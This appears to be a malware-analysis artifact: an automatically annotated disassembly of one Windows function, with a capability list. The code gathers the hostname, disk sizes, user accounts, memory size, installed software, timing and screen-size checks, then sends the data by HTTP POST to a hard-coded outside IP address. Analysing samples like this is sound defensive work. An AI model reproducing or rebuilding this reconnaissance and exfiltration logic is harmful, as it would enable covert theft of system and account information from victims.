Function at 0x140002850
Capabilities:
Connect to http server
Create http request
Encode data using xor
Generate random numbers using a mersenne twister
Get disk information
Get disk size
Get hostname
List user accounts
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1740]
mov eax, 0x1840
call fcn.14002e990
sub rsp, rax
mov rax, qword [0x14006a030]
xor rax, rsp
mov qword [rbp + 0x1730], rax
xor r15d, r15d
mov esi, r15d
mov dword [rbp - 0x78], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], sil
mov dword [rsp + 0x60], 0x10
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1420]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea rcx, [rsp + 0x68]
test eax, eax
je 0x140002910
lea r8d, [r15 + 0xc]
lea rdx, str._n_nHostname:
call fcn.140004650
lea rax, [rbp + 0x1420]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400028f0
lea rdx, [rbp + 0x1420]
lea rcx, [rsp + 0x68]
call fcn.140004650
jmp 0x1400029a5
mov r8d, 0x13
lea rdx, str._nget_hostname_error
call fcn.140004650
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x13f0]
call fcn.140004950
mov esi, 1
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x1400029a5
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003636
call fcn.14002e428
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov ebx, r15d
test dil, 1
je 0x140002adf
lea r8d, [rbx + 0x41]
lea rdx, str._c:_
lea rcx, [rsp + 0x60]
call fcn.140004e90
lea r9, [rbp - 0x78]
lea r8, [rbp + 0x1420]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x140002adf
mov r8d, 9
lea rdx, str._n_nDrive:
lea rcx, [rsp + 0x68]
call fcn.140004650
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002a14
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140004650
mov r8d, 0xd
lea rdx, str._ntotal_size:
lea rcx, [rsp + 0x68]
call fcn.140004650
mov rdx, qword [rbp + 0x1420]
shr rdx, 0x14
lea rcx, [rbp + 0x13f0]
call fcn.140004ce0
or esi, 2
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002ac8
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ac3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000363c
call fcn.14002e428
mov r8d, 2
lea rdx, [0x140061790]
lea rcx, [rsp + 0x68]
call fcn.140004650
shr edi, 1
inc ebx
cmp ebx, 0x1a
jl 0x1400029b0
lea rcx, [rsp + 0x68]
call fcn.140002190
mov qword [rbp + 0x1420], r15
mov dword [rsp + 0x60], r15d
mov dword [rbp - 0x78], r15d
mov dword [rbp - 0x70], r15d
mov r8d, 0xc
lea rdx, str._n_nusername:
lea rcx, [rsp + 0x68]
call fcn.140004650
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
lea r9, [rbp + 0x1420]
mov edx, 1
xor ecx, ecx
lea r8d, [rdx + 1]
call qword [sym.imp.NETAPI32.dll_NetUserEnum]
mov rdi, qword [rbp + 0x1420]
test rdi, rdi
je 0x140002c82
mov ebx, r15d
cmp dword [rsp + 0x60], ebx
jbe 0x140002c82
nop word [rax + rax]
mov eax, ebx
imul rcx, rax, 0x38
mov rdi, qword [rcx + rdi]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
lea rcx, [rbp - 0x20]
call fcn.140003be0
nop
mov r9, rdi
cmp word [rdi], 0
je 0x140002bcd
add r9, 2
cmp word [r9], 0
jne 0x140002bc2
mov r8, rdi
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp - 0x20]
call fcn.140004200
or esi, 0xc
lea rcx, [rbp - 0x20]
call fcn.140003af0
nop
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002c57
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c52
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003642
call fcn.14002e428
mov r8d, 2
lea rdx, [0x1400617d8]
lea rcx, [rsp + 0x68]
call fcn.140004650
inc ebx
cmp ebx, dword [rsp + 0x60]
jae 0x140002c82
mov rdi, qword [rbp + 0x1420]
jmp 0x140002b80
mov r8d, 0x19
lea rdx, str._n_nphysicall_momory_size:
lea rcx, [rsp + 0x68]
call fcn.140004650
mov qword [rbp + 0x1420], r15
lea rcx, [rbp + 0x1420]
call qword [sym.imp.KERNEL32.dll_GetPhysicallyInstalledSystemMemory]
test eax, eax
jne 0x14000323b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x13f0]
call fcn.140004950
or esi, 0x10
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002d36
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003630
call fcn.14002e428
mov r8d, 0x14
lea rdx, str._n_ncheck_time_patch:
lea rcx, [rsp + 0x68]
call fcn.140004650
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov r8d, 4
lea rdx, str.v3:
lea rcx, [rsp + 0x68]
call fcn.140004650
mov edx, ebx
lea rcx, [rbp + 0x13f0]
call fcn.140004770
or esi, 0x40
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002de8
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002de3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003654
call fcn.14002e428
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rbx, rax
mov r14d, 5
mov r8d, r14d
lea rdx, str._v4:
lea rcx, [rsp + 0x68]
call fcn.140004650
mov rdx, rbx
lea rcx, [rbp + 0x13f0]
call fcn.140004af0
bts esi, 7
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002e93
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003654
call fcn.14002e428
mov r8d, 0x15
lea rdx, str._n_ncheck_screen_size:
lea rcx, [rsp + 0x68]
call fcn.140004650
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov edi, eax
mov r8d, 2
lea rdx, [0x140061878]
lea rcx, [rsp + 0x68]
call fcn.140004650
mov edx, ebx
lea rcx, [rbp + 0x13f0]
call fcn.140004770
bts esi, 8
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002f54
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003654
call fcn.14002e428
mov r8d, 2
lea rdx, [0x14006187c]
lea rcx, [rsp + 0x68]
call fcn.140004650
mov edx, edi
lea rcx, [rbp + 0x13f0]
call fcn.140004770
bts esi, 9
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002fe7
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003654
call fcn.14002e428
mov r8d, 0x13
lea rdx, str._n_ninstall_program:_n
lea rcx, [rsp + 0x68]
call fcn.140004650
mov ebx, r15d
lea rdx, [rbp + 0x1430]
xor ecx, ecx
call qword [sym.imp.msi.dll_MsiGetLastErrorRecord]
test eax, eax
jne 0x14000312b
nop dword [rax + rax]
mov dword [rbp - 0x78], 0x100
lea r9, [rbp - 0x78]
lea r8, [rbp + 0x1630]
lea rdx, str.VersionString
lea rcx, [rbp + 0x1430]
call qword [sym.imp.msi.dll_MsiGetProductPropertyA]
mov dword [rbp - 0x70], 0x100
lea r9, [rbp - 0x70]
lea r8, [rbp + 0x60]
lea rdx, str.Publisher
lea rcx, [rbp + 0x1430]
call qword [sym.imp.msi.dll_MsiGetProductPropertyA]
mov dword [rsp + 0x60], 0x100
lea r9, [rsp + 0x60]
lea r8, [rbp + 0x1530]
lea rdx, str.ProductName
lea rcx, [rbp + 0x1430]
call qword [sym.imp.msi.dll_MsiGetProductPropertyA]
lea rax, [rbp + 0x1530]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400030a0
lea rdx, [rbp + 0x1530]
lea rcx, [rsp + 0x68]
call fcn.140004650
mov r8d, 2
lea rdx, [0x1400618c4]
lea rcx, [rsp + 0x68]
call fcn.140004650
lea rax, [rbp + 0x1630]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400030e0
lea rdx, [rbp + 0x1630]
lea rcx, [rsp + 0x68]
call fcn.140004650
mov r8d, 1
lea rdx, [0x1400616e0]
lea rcx, [rsp + 0x68]
call fcn.140004650
inc ebx
lea rdx, [rbp + 0x1430]
mov ecx, ebx
call qword [sym.imp.msi.dll_MsiGetLastErrorRecord]
test eax, eax
je 0x140003020
lea rcx, [rsp + 0x68]
call fcn.140001d90
lea rcx, [rsp + 0x68]
call fcn.1400023a0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rdx, qword [rsp + 0x68]
mov r8d, dword [rsp + 0x78]
lea rcx, [rbp - 0x48]
call fcn.1400019e0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
bts esi, 0xa
mov dword [rbp - 0x78], esi
call fcn.14000c82c
mov dword [rbp + 0x13e4], 0xffffffff
mov dword [rbp + 0x64], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x64], eax
inc rdx
cmp rdx, 0x270
jb 0x1400031a0
mov dword [rbp + 0x60], 0x270
mov ebx, 7
nop dword [rax + rax]
lea rcx, [rbp + 0x60]
call fcn.140005a90
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x15
ja 0x1400031fa
lea rcx, [rbp + 0x60]
call fcn.140005a90
mov ecx, eax
imul r9, rcx, 0x1a
cmp r9d, 0x16
jb 0x1400031e5
shr r9, 0x20
add r9b, 0x61
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
jae 0x1400032c3
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x40]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x1400032d4
mov rdx, qword [rbp + 0x1420]
lea rcx, [rbp + 0x13f0]
call fcn.140004ce0
or esi, 0x20
lea rdx, [rbp + 0x13f0]
cmp qword [rbp + 0x1408], 0x10
cmovae rdx, qword [rbp + 0x13f0]
mov r8, qword [rbp + 0x1400]
lea rcx, [rsp + 0x68]
call fcn.140004650
nop
mov rdx, qword [rbp + 0x1408]
cmp rdx, 0x10
jb 0x140002d36
inc rdx
mov rcx, qword [rbp + 0x13f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002d31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003630
jmp 0x140002d31
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x40]
call fcn.140005220
sub rbx, 1
jne 0x1400031d0
mov r8, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
sub rax, r8
cmp rax, 5
jb 0x14000337b
lea rax, [r8 + 5]
mov qword [rsp + 0x50], rax
lea rbx, [rsp + 0x40]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x40]
lea rax, [0x1400618cd]
lea rsi, str._pay_
cmp rax, rbx
jbe 0x14000333e
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x14000333e
cmp rbx, rsi
ja 0x140003336
mov rdi, r15
jmp 0x140003341
mov rdi, rbx
sub rdi, rsi
jmp 0x140003341
mov rdi, r14
lea rcx, [rbx + 5]
inc r8
mov rdx, rbx
call fcn.14002fd70
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.14002fd70
lea rcx, [rbx + rdi]
sub r14, rdi
lea rdx, [rsi + 5]
add rdx, rdi
mov r8, r14
call fcn.14002fd70
lea rax, [rsp + 0x40]
jmp 0x14000338d
mov qword [rsp + 0x28], r14
mov rdx, r14
lea rcx, [rsp + 0x40]
call fcn.140005920
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400033f7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003648
call fcn.14002e428
lea rbx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rbx, qword [rbp - 0x68]
mov r14d, dword [rbp - 0x38]
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x14000352c
mov r8d, 0xeab8
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.165.227.92.122
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
test rax, rax
jne 0x140003473
lea rcx, str.handle_is_null_n
call fcn.1400010e0
jmp 0x14000352c
mov qword [rsp + 0x38], 1
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
lea rax, [0x14006166e]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, rbx
lea rdx, str.POST
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
test rax, rax
jne 0x1400034be
lea rcx, str.hHttpRequest_is_null_n
call fcn.1400010e0
jmp 0x14000352c
movups xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
movups xmmword [rbp + 0x13f0], xmm0
movups xmm1, xmmword [0x140061920]
movups xmmword [rbp + 0x1400], xmm1
movups xmm0, xmmword [0x140061930]
movups xmmword [rbp + 0x1410], xmm0
lea r9, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae r9, qword [rbp - 0x48]
mov dword [rsp + 0x20], r14d
mov r8d, 0x30
lea rdx, [rbp + 0x13f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140003567
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003562
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000364e
call fcn.14002e428
movdqa xmm0, xmmword [0x140061a00]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400035b3
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003654
call fcn.14002e428
movdqa xmm0, xmmword [0x140061a00]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x1400035fc
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000362a
call fcn.14002e428
xor eax, eax
mov rcx, qword [rbp + 0x1730]
xor rcx, rsp
call fcn.14002dee0
lea r11, [rsp + 0x1840]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140037554
nop
call fcn.140037554
nop
call fcn.140037554
int3
call fcn.140037554
int3
call fcn.140037554
nop
call fcn.140037554
int3
call fcn.140037554
nop
call fcn.140037554
int3